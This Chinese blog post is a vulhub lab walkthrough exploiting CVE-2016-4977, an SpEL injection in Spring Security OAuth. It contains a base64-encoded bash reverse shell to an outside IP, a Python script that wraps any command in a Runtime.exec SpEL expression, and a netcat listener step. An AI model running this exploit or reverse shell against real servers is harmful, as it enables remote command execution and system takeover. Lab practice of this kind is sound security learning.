当前位置: 首页 > news >正文

vulhub spring 远程命令执行漏洞(CVE-2016-4977)

1.执行以下命令启动靶场环境并在浏览器访问

cd /vulhub/spring/CVE-2016-4977#进入漏洞环境所在目录
 
docker-compose up -d #启动靶场
 
docker ps #查看容器信息

2.输入以下命令测试环境

192.168.0.107:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

输入默认口令admin:admin即可

3.反弹shell

构造payload

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

创建poc.py,下面内容写入

message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'
print(poc)

CVE-2016-4977目录中运行poc 输入生成的shell

开启监听,执行反弹

nc -lvvp 6666

复制poc生成的链接,仅替换${2*2}部分,保留后面的client_id部分

成功反弹,命令执行成功

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【ArcGIS Pro第一期】界面简介
  • Python开发学习之Python和Excel的数据实现互通
  • Vue 向标签中传入 this
  • 【Linux】进程控制(一)
  • 简单实用的php全新实物商城系统
  • 使用Ansible进行自动化运维
  • 期货赫兹量化-种群优化算法:进化策略,(μ,λ)-ES 和 (μ+λ)-ES
  • Mysql-数据库课程设计图书管理系统
  • HTML5中canvas绘图基础详解
  • strlen函数模拟实现(嵌套函数调用)
  • Elasticsearch倒排索引
  • 资料分析系统课-刘文超老师
  • ImportError: cannot import name ‘DglNodePropPredDataset‘ from ‘ogb.nodepropp
  • 超时重试与风险学习
  • Linux 删除虚拟环境命令
  • IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
  • egg(89)--egg之redis的发布和订阅
  • exif信息对照
  • js学习笔记
  • Promise面试题,控制异步流程
  • React 快速上手 - 06 容器组件、展示组件、操作组件
  • React中的“虫洞”——Context
  • TypeScript实现数据结构(一)栈,队列,链表
  • 安装python包到指定虚拟环境
  • 产品三维模型在线预览
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 浮动相关
  • 工程优化暨babel升级小记
  • 计算机常识 - 收藏集 - 掘金
  • 理清楚Vue的结构
  • 前端面试总结(at, md)
  • 移动端唤起键盘时取消position:fixed定位
  • 用jquery写贪吃蛇
  • Oracle Portal 11g Diagnostics using Remote Diagnostic Agent (RDA) [ID 1059805.
  • 【干货分享】dos命令大全
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • ​​​​​​​ubuntu16.04 fastreid训练过程
  • ​Kaggle X光肺炎检测比赛第二名方案解析 | CVPR 2020 Workshop
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • (07)Hive——窗口函数详解
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (Oracle)SQL优化技巧(一):分页查询
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (SpringBoot)第二章:Spring创建和使用
  • (安卓)跳转应用市场APP详情页的方式
  • (动手学习深度学习)第13章 计算机视觉---图像增广与微调
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)ssm学生管理系统 毕业设计 141543
  • (四)stm32之通信协议
  • (四)七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划MATLAB
  • (微服务实战)预付卡平台支付交易系统卡充值业务流程设计
  • (小白学Java)Java简介和基本配置
  • (转)可以带来幸福的一本书
  • (转)原始图像数据和PDF中的图像数据